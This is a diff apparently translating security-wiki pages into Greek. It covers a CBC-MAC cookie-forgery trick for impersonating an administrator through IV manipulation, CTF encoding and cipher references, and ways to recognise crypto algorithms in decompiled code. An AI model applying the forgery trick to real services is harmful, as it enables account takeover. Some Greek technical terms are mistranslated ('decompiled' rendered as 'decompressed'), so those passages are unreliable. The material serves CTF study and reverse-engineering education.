+Αν το cookie είναι απλώς το όνομα χρήστη που έχει κρυπτογραφηθεί, για να προσποιηθείς τον χρήστη "**administrator**" μπορείς να δημιουργήσεις τον χρήστη "**Administrator**" και θα πάρεις το cookie του.\ +Τώρα, αν μπορείς να ελέγξεις το IV, μπορείς να αλλάξεις το πρώτο Byte του IV έτσι ώστε **IV\[0] XOR "A" == IV'\[0] XOR "a"** και να αναγεννήσεις το cookie για τον χρήστη **Administrator.** Αυτό το cookie θα είναι έγκυρο για **να προσποιηθείς** τον χρήστη **administrator** με το αρχικό **IV**. ## References -More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) +Περισσότερες πληροφορίες στο [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md index bb2b5f049..033a78e02 100644 --- a/src/crypto-and-stego/crypto-ctfs-tricks.md +++ b/src/crypto-and-stego/crypto-ctfs-tricks.md @@ -25,7 +25,7 @@ ## Encoders -Most of encoded data can be decoded with these 2 ressources: +Οι περισσότερες από τις κωδικοποιημένες δεδομένες μπορούν να αποκωδικοποιηθούν με αυτούς τους 2 πόρους: - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) @@ -33,7 +33,7 @@ Most of encoded data can be decoded with these 2 ressources: ### Substitution Autosolvers - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - Very good ! +- [https://quipqiup.com/](https://quipqiup.com) - Πολύ καλό! #### Caesar - ROTx Autosolvers @@ -45,95 +45,90 @@ Most of encoded data can be decoded with these 2 ressources: ### Base Encodings Autosolver -Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) +Ελέγξτε όλες αυτές τις βάσεις με: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - **Ascii85** - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base26** \[_A-Z_] - - `BQEKGAHRJKHQMVZGKUXNT` +- `BQEKGAHRJKHQMVZGKUXNT` - **Base32** \[_A-Z2-7=_] - - `NBXWYYLDMFZGCY3PNRQQ====` +- `NBXWYYLDMFZGCY3PNRQQ====` - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - - `pbzsaamdcf3gna5xptoo====` +- `pbzsaamdcf3gna5xptoo====` - **Base32 Geohash** \[_0-9b-hjkmnp-z_] - - `e1rqssc3d5t62svgejhh====` +- `e1rqssc3d5t62svgejhh====` - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - - `D1QPRRB3C5S62RVFDHGG====` +- `D1QPRRB3C5S62RVFDHGG====` - **Base32 Extended Hexadecimal** \[_0-9A-V_] - - `D1NMOOB3C5P62ORFDHGG====` +- `D1NMOOB3C5P62ORFDHGG====` - **Base45** \[_0-9A-Z $%\*+-./:_] - - `59DPVDGPCVKEUPCPVD` +- `59DPVDGPCVKEUPCPVD` - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - - `2yJiRg5BF9gmsU6AC` +- `2yJiRg5BF9gmsU6AC` - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - - `2YiHqF5bf9FLSt6ac` +- `2YiHqF5bf9FLSt6ac` - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - - `pyJ5RgnBE9gm17awU` +- `pyJ5RgnBE9gm17awU` - **Base62** \[_0-9A-Za-z_] - - `g2AextRZpBKRBzQ9` +- `g2AextRZpBKRBzQ9` - **Base64** \[_A-Za-z0-9+/=_] - - `aG9sYWNhcmFjb2xh` +- `aG9sYWNhcmFjb2xh` - **Base67** \[_A-Za-z0-9-_.!\~\_] - - `NI9JKX0cSUdqhr!p` +- `NI9JKX0cSUdqhr!p` - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `<~BQ%]q@psCd@rH0l~>` +- `<~BQ%]q@psCd@rH0l~>` - **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - - `Xm4y`V\_|Y(V{dF>\` +- `Xm4y`V\_|Y(V{dF>\` - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` +- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` - **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] - - `Xm4y|V{~Y+V}dF?` +- `Xm4y|V{~Y+V}dF?` - **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - - `frDg[*jNN!7&BQM` +- `frDg[*jNN!7&BQM` - **Base100** \[] - - `👟👦👣👘👚👘👩👘👚👦👣👘` +- `👟👦👣👘👚👘👩👘👚👦👣👘` - **Base122** \[] - - `4F ˂r0Xmvc` +- `4F ˂r0Xmvc` - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - - `MIc3KiXa+Ihz+lrXMIc3KbCC` +- `MIc3KiXa+Ihz+lrXMIc3KbCC` - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - - `DmPsv8J7qrlKEoY7` +- `DmPsv8J7qrlKEoY7` - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - - `kLD8iwKsigSalLJ5` +- `kLD8iwKsigSalLJ5` - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - - `ayRiIo1gpO+uUc7g` +- `ayRiIo1gpO+uUc7g` - **ESAB46** \[] - - `3sHcL2NR8WrT7mhR` +- `3sHcL2NR8WrT7mhR` - **MEGAN45** \[] - - `kLD8igSXm2KZlwrX` +- `kLD8igSXm2KZlwrX` - **TIGO3FX** \[] - - `7AP9mIzdmltYmIP9mWXX` +- `7AP9mIzdmltYmIP9mWXX` - **TRIPO5** \[] - - `UE9vSbnBW6psVzxB` +- `UE9vSbnBW6psVzxB` - **FERON74** \[] - - `PbGkNudxCzaKBm0x` +- `PbGkNudxCzaKBm0x` - **GILA7** \[] - - `D+nkv8C1qIKMErY1` +- `D+nkv8C1qIKMErY1` - **Citrix CTX1** \[] - - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` +- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` [http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### HackerizeXS \[_╫Λ↻├☰┏_] - ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` - - [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) -### Morse - +### Μορς ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` - - [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) ### UUencoder - ``` begin 644 webutils_pl M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( @@ -142,129 +137,107 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` ` end ``` - - [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) ### XXEncoder - ``` begin 644 webutils_pl hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 5Hol-G2xAEE++ end ``` - - [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) ### YEncoder - ``` =ybegin line=128 size=28 name=webutils_pl ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 ``` - - [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) ### BinHex - ``` (This file must be converted with BinHex 4.0) :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p -38K26%'d9J!!: ``` - - [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) ### ASCII85 - ``` <~85DoF85DoF85DoF85DoF85DoF85DoF~> ``` - - [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) -### Dvorak keyboard - +### Πληκτρολόγιο Dvorak ``` drnajapajrna ``` - - [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) ### A1Z26 -Letters to their numerical value - +Γράμματα στην αριθμητική τους αξία ``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` - ### Affine Cipher Encode -Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter - +Γράμμα σε αριθμό `(ax+b)%26` (_a_ και _b_ είναι τα κλειδιά και _x_ είναι το γράμμα) και το αποτέλεσμα πίσω σε γράμμα ``` krodfdudfrod ``` - ### SMS Code -**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ -For example: 2=A, 22=B, 222=C, 3=D...\ -You can identify this code because you will see\*\* several numbers repeated\*\*. +**Multitap** [αντικαθιστά ένα γράμμα](https://www.dcode.fr/word-letter-change) με επαναλαμβανόμενους ψηφίους που καθορίζονται από τον αντίστοιχο κωδικό πλήκτρου σε ένα κινητό [πληκτρολόγιο τηλεφώνου](https://www.dcode.fr/phone-keypad-cipher) (Αυτή η λειτουργία χρησιμοποιείται κατά την αποστολή SMS).\ +Για παράδειγμα: 2=A, 22=B, 222=C, 3=D...\ +Μπορείτε να αναγνωρίσετε αυτόν τον κωδικό γιατί θα δείτε\*\* αρκετούς αριθμούς επαναλαμβανόμενους\*\*. -You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) +Μπορείτε να αποκωδικοποιήσετε αυτόν τον κωδικό στο: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) ### Bacon Code -Substitude each letter for 4 As or Bs (or 1s and 0s) - +Αντικαταστήστε κάθε γράμμα με 4 Α ή Β (ή 1s και 0s) ``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ``` - ### Runes ![](../images/runes.jpg) -## Compression +## Συμπίεση -**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. +**Raw Deflate** και **Raw Inflate** (μπορείτε να βρείτε και τα δύο στο Cyberchef) μπορούν να συμπιέσουν και να αποσυμπιέσουν δεδομένα χωρίς κεφαλίδες. -## Easy Crypto +## Εύκολη Κρυπτογράφηση -### XOR - Autosolver +### XOR - Αυτόματη Λύση - [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) ### Bifid -A keywork is needed - +Απαιτείται μια λέξη-κλειδί ``` fgaargaamnlunesuneoa ``` - ### Vigenere -A keywork is needed - +Απαιτείται μια λέξη-κλειδί ``` wodsyoidrods ``` - - [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) - [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) - [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) -## Strong Crypto +## Ισχυρή Κρυπτογράφηση ### Fernet -2 base64 strings (token and key) - +2 base64 strings (token και key) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== @@ -272,19 +245,16 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC Key: -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= ``` - - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) ### Samir Secret Sharing -A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). - +Ένα μυστικό χωρίζεται σε X μέρη και για να το ανακτήσεις χρειάζεσαι Y μέρη (_Y <=X_). ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 803bc8cf294b3f83d88e86d9818792e80cd ``` - [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) ### OpenSSL brute-force @@ -292,7 +262,7 @@ A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) -## Tools +## Εργαλεία - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) diff --git a/src/crypto-and-stego/cryptographic-algorithms/README.md b/src/crypto-and-stego/cryptographic-algorithms/README.md index bcfcf1d0a..19b1a358f 100644 --- a/src/crypto-and-stego/cryptographic-algorithms/README.md +++ b/src/crypto-and-stego/cryptographic-algorithms/README.md @@ -1,184 +1,184 @@ -# Cryptographic/Compression Algorithms +# Κρυπτογραφικοί/Συμπιεστικοί Αλγόριθμοι -## Cryptographic/Compression Algorithms +## Κρυπτογραφικοί/Συμπιεστικοί Αλγόριθμοι {{#include ../../banners/hacktricks-training.md}} -## Identifying Algorithms +## Αναγνώριση Αλγορίθμων -If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**. +Αν καταλήξετε σε έναν κώδικα **χρησιμοποιώντας shift δεξιά και αριστερά, xors και διάφορες αριθμητικές λειτουργίες** είναι πολύ πιθανό ότι είναι η υλοποίηση ενός **κρυπτογραφικού αλγορίθμου**. Εδώ θα παρουσιαστούν μερικοί τρόποι για να **αναγνωρίσετε τον αλγόριθμο που χρησιμοποιείται χωρίς να χρειάζεται να αντιστρέψετε κάθε βήμα**. -### API functions +### Λειτουργίες API **CryptDeriveKey** -If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: +Αν αυτή η λειτουργία χρησιμοποιείται, μπορείτε να βρείτε ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου: ![](<../../images/image (156).png>) -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Ελέγξτε εδώ τον πίνακα των πιθανών αλγορίθμων και των ανατεθειμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) **RtlCompressBuffer/RtlDecompressBuffer** -Compresses and decompresses a given buffer of data. +Συμπιέζει και αποσυμπιέζει ένα δεδομένο buffer δεδομένων. **CryptAcquireContext** -From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP. +Από [τα docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Η λειτουργία **CryptAcquireContext** χρησιμοποιείται για να αποκτήσει ένα handle σε ένα συγκεκριμένο key container εντός ενός συγκεκριμένου κρυπτογραφικού παρόχου υπηρεσιών (CSP). **Αυτό το επιστρεφόμενο handle χρησιμοποιείται σε κλήσεις σε λειτουργίες CryptoAPI** που χρησιμοποιούν το επιλεγμένο CSP. **CryptCreateHash** -Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: +Αρχίζει την καταμέτρηση ενός ρεύματος δεδομένων. Αν αυτή η λειτουργία χρησιμοποιείται, μπορείτε να βρείτε ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου: ![](<../../images/image (549).png>) \ -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Ελέγξτε εδώ τον πίνακα των πιθανών αλγορίθμων και των ανατεθειμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) -### Code constants +### Σταθερές Κώδικα -Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value. +Μερικές φορές είναι πολύ εύκολο να αναγνωρίσετε έναν αλγόριθμο χάρη στο γεγονός ότι χρειάζεται να χρησιμοποιήσει μια ειδική και μοναδική τιμή. ![](<../../images/image (833).png>) -If you search for the first constant in Google this is what you get: +Αν ψάξετε για την πρώτη σταθερά στο Google αυτό είναι που θα βρείτε: ![](<../../images/image (529).png>) -Therefore, you can assume that the decompiled function is a **sha256 calculator.**\ -You can search any of the other constants and you will obtain (probably) the same result. +Επομένως, μπορείτε να υποθέσετε ότι η αποσυμπιεσμένη λειτουργία είναι ένας **υπολογιστής sha256.**\ +Μπορείτε να αναζητήσετε οποιαδήποτε από τις άλλες σταθερές και θα αποκτήσετε (πιθανώς) το ίδιο αποτέλεσμα. -### data info +### πληροφορίες δεδομένων -If the code doesn't have any significant constant it may be **loading information from the .data section**.\ -You can access that data, **group the first dword** and search for it in google as we have done in the section before: +Αν ο κώδικας δεν έχει καμία σημαντική σταθερά μπορεί να είναι **φορτώνοντας πληροφορίες από την ενότητα .data**.\ +Μπορείτε να αποκτήσετε πρόσβαση σε αυτά τα δεδομένα, **ομαδοποιώντας το πρώτο dword** και να το αναζητήσετε στο Google όπως κάναμε στην προηγούμενη ενότητα: ![](<../../images/image (531).png>) -In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**. +Σε αυτή την περίπτωση, αν ψάξετε για **0xA56363C6** μπορείτε να βρείτε ότι σχετίζεται με τις **πίνακες του αλγορίθμου AES**. -## RC4 **(Symmetric Crypt)** +## RC4 **(Συμμετρική Κρυπτογράφηση)** -### Characteristics +### Χαρακτηριστικά -It's composed of 3 main parts: +Αποτελείται από 3 κύρια μέρη: -- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox). -- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length. -- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**. +- **Στάδιο αρχικοποίησης/**: Δημιουργεί έναν **πίνακα τιμών από 0x00 έως 0xFF** (256bytes συνολικά, 0x100). Αυτός ο πίνακας ονομάζεται συνήθως **Substitution Box** (ή SBox). +- **Στάδιο ανακατανομής**: Θα **περάσει από τον πίνακα** που δημιουργήθηκε πριν (κύκλος 0x100 επαναλήψεων, ξανά) δημιουργώντας τροποποιώντας κάθε τιμή με **ημι-τυχαία** bytes. Για να δημιουργηθούν αυτά τα ημι-τυχαία bytes, χρησιμοποιείται το κλειδί RC4. Τα **κλειδιά RC4** μπορούν να είναι **μεταξύ 1 και 256 bytes σε μήκος**, ωστόσο συνήθως συνιστάται να είναι πάνω από 5 bytes. Συνήθως, τα κλειδιά RC4 είναι 16 bytes σε μήκος. +- **Στάδιο XOR**: Τέλος, το απλό κείμενο ή το κρυπτογραφημένο κείμενο είναι **XORed με τις τιμές που δημιουργήθηκαν πριν**. Η λειτουργία για την κρυπτογράφηση και την αποκρυπτογράφηση είναι η ίδια. Για αυτό, θα εκτελεστεί ένας **κύκλος μέσω των δημιουργημένων 256 bytes** όσες φορές είναι απαραίτητο. Αυτό συνήθως αναγνωρίζεται σε έναν αποσυμπιεσμένο κώδικα με ένα **%256 (mod 256)**. > [!NOTE] -> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)** +> **Για να αναγνωρίσετε ένα RC4 σε έναν αποσυναρμολογημένο/αποσυμπιεσμένο κώδικα μπορείτε να ελέγξετε για 2 κύκλους μεγέθους 0x100 (με τη χρήση ενός κλειδιού) και στη συνέχεια ένα XOR των δεδομένων εισόδου με τις 256 τιμές που δημιουργήθηκαν πριν στους 2 κύκλους πιθανώς χρησιμοποιώντας ένα %256 (mod 256)** -### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars) +### **Στάδιο αρχικοποίησης/Πίνακας υποκατάστασης:** (Σημειώστε τον αριθμό 256 που χρησιμοποιείται ως μετρητής και πώς γράφεται ένα 0 σε κάθε θέση των 256 χαρακτήρων) ![](<../../images/image (584).png>) -### **Scrambling Stage:** +### **Στάδιο ανακατανομής:** ![](<../../images/image (835).png>) -### **XOR Stage:** +### **Στάδιο XOR:** ![](<../../images/image (904).png>) -## **AES (Symmetric Crypt)** +## **AES (Συμμετρική Κρυπτογράφηση)** -### **Characteristics** +### **Χαρακτηριστικά** -- Use of **substitution boxes and lookup tables** - - It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._ -- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used. +- Χρήση **πινακων υποκατάστασης και πινάκων αναζήτησης** +- Είναι δυνατόν να **διακρίνετε το AES χάρη στη χρήση συγκεκριμένων τιμών πινάκων αναζήτησης** (σταθερές). _Σημειώστε ότι η **σταθερά** μπορεί να είναι **αποθηκευμένη** στο δυαδικό **ή να δημιουργηθεί** _**δυναμικά**._ +- Το **κλειδί κρυπτογράφησης** πρέπει να είναι **διαιρέσιμο** με **16** (συνήθως 32B) και συνήθως χρησιμοποιείται ένα **IV** 16B. -### SBox constants +### Σταθερές SBox ![](<../../images/image (208).png>) -## Serpent **(Symmetric Crypt)** +## Serpent **(Συμμετρική Κρυπτογράφηση)** -### Characteristics +### Χαρακτηριστικά -- It's rare to find some malware using it but there are examples (Ursnif) -- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function) +- Είναι σπάνιο να βρείτε κάποιο malware που να το χρησιμοποιεί αλλά υπάρχουν παραδείγματα (Ursnif) +- Απλό να προσδιορίσετε αν ένας αλγόριθμος είναι Serpent ή όχι με βάση το μήκος του (εξαιρετικά μακρά λειτουργία) -### Identifying +### Αναγνώριση -In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\ -Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example: +Στην παρακάτω εικόνα παρατηρήστε πώς χρησιμοποιείται η σταθερά **0x9E3779B9** (σημειώστε ότι αυτή η σταθερά χρησιμοποιείται επίσης από άλλους κρυπτογραφικούς αλγόριθμους όπως **TEA** -Tiny Encryption Algorithm).\ +Επίσης σημειώστε το **μέγεθος του κύκλου** (**132**) και τον **αριθμό των λειτουργιών XOR** στις **εντολές αποσυναρμολόγησης** και στο **παράδειγμα κώδικα**: ![](<../../images/image (547).png>) -As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following: +Όπως αναφέρθηκε προηγουμένως, αυτός ο κώδικας μπορεί να οπτικοποιηθεί μέσα σε οποιονδήποτε αποσυμπιεστή ως μια **πολύ μακρά λειτουργία** καθώς **δεν υπάρχουν άλματα** μέσα σε αυτόν. Ο αποσυμπιεσμένος κώδικας μπορεί να φαίνεται όπως το εξής: ![](<../../images/image (513).png>) -Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22). +Επομένως, είναι δυνατόν να αναγνωρίσετε αυτόν τον αλγόριθμο ελέγχοντας τον **μαγικό αριθμό** και τους **αρχικούς XORs**, βλέποντας μια **πολύ μακρά λειτουργία** και **συγκρίνοντας** κάποιες **εντολές** της μακράς λειτουργίας **με μια υλοποίηση** (όπως το shift αριστερά κατά 7 και την περιστροφή αριστερά κατά 22). -## RSA **(Asymmetric Crypt)** +## RSA **(Ασύμμετρη Κρυπτογράφηση)** -### Characteristics +### Χαρακτηριστικά -- More complex than symmetric algorithms -- There are no constants! (custom implementation are difficult to determine) -- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants. +- Πιο περίπλοκος από τους συμμετρικούς αλγόριθμους +- Δεν υπάρχουν σταθερές! (οι προσαρμοσμένες υλοποιήσεις είναι δύσκολο να προσδιοριστούν) +- KANAL (ένας αναλυτής κρυπτογράφησης) αποτυγχάνει να δείξει ενδείξεις για το RSA καθώς βασίζεται σε σταθερές. -### Identifying by comparisons +### Αναγνώριση μέσω συγκρίσεων ![](<../../images/image (1113).png>) -- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8` -- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen` +- Στη γραμμή 11 (αριστερά) υπάρχει ένα `+7) >> 3` που είναι το ίδιο με τη γραμμή 35 (δεξιά): `+7) / 8` +- Η γραμμή 12 (αριστερά) ελέγχει αν `modulus_len < 0x040` και στη γραμμή 36 (δεξιά) ελέγχει αν `inputLen+11 > modulusLen` ## MD5 & SHA (hash) -### Characteristics +### Χαρακτηριστικά -- 3 functions: Init, Update, Final -- Similar initialize functions +- 3 λειτουργίες: Init, Update, Final +- Παρόμοιες λειτουργίες αρχικοποίησης -### Identify +### Αναγνώριση **Init** -You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have: +Μπορείτε να αναγνωρίσετε και τους δύο ελέγχοντας τις σταθερές. Σημειώστε ότι η sha_init έχει 1 σταθερά που δεν έχει το MD5: ![](<../../images/image (406).png>) **MD5 Transform** -Note the use of more constants +Σημειώστε τη χρήση περισσότερων σταθερών ![](<../../images/image (253) (1) (1).png>) ## CRC (hash) -- Smaller and more efficient as it's function is to find accidental changes in data -- Uses lookup tables (so you can identify constants) +- Μικρότερος και πιο αποδοτικός καθώς η λειτουργία του είναι να βρίσκει τυχαίες αλλαγές στα δεδομένα +- Χρησιμοποιεί πίνακες αναζήτησης (έτσι μπορείτε να αναγνωρίσετε σταθερές) -### Identify +### Αναγνώριση -Check **lookup table constants**: +Ελέγξτε **σταθερές πίνακα αναζήτησης**: ![](<../../images/image (508).png>) -A CRC hash algorithm looks like: +Ένας αλγόριθμος hash CRC φαίνεται όπως: ![](<../../images/image (391).png>) -## APLib (Compression) +## APLib (Συμπίεση) -### Characteristics +### Χαρακτηριστικά -- Not recognizable constants -- You can try to write the algorithm in python and search for similar things online +- Μη αναγνωρίσιμες σταθερές +- Μπορείτε να προσπαθήσετε να γράψετε τον αλγόριθμο σε python και να αναζητήσετε παρόμοια πράγματα online -### Identify +### Αναγνώριση -The graph is quiet large: +Ο γραφικός πίνακας είναι αρκετά μεγάλος: ![](<../../images/image (207) (2) (1).png>) -Check **3 comparisons to recognise it**: +Ελέγξτε **3 συγκρίσεις για να το αναγνωρίσετε**: ![](<../../images/image (430).png>) diff --git a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md b/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md index 